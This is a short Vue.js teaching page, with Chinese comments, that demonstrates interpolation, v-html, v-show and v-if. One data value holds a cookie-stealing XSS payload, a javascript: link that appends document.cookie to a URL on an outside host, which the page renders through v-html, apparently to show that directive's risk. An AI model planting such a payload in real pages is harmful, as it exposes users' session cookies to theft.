<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../vue.js"></script>
</head>

<body>
    <div id="box">
        <!-- vue会渲染用两个大括号包裹起来的代码 -->
        {{30+20}}
        {{name}}
        {{myhtml}}
        <div v-html='myhtml'></div>
        <div v-show='isShow'>动态显示和隐藏</div>
        <div v-if='isCreated'>动态创建和删除</div>
    </div>
    <script>
        var vm = new Vue({
            el: "#box", // 从id为box的元素开始渲染vue
            data: {
                name: '123123',
                myhtml: "<a href=javascript:location.href='http://www.baidu.com?cookie = '+document.cookie>click</a>",
                isCreated: true,
                isShow: true
            }
        })
    </script>
</body>

</html>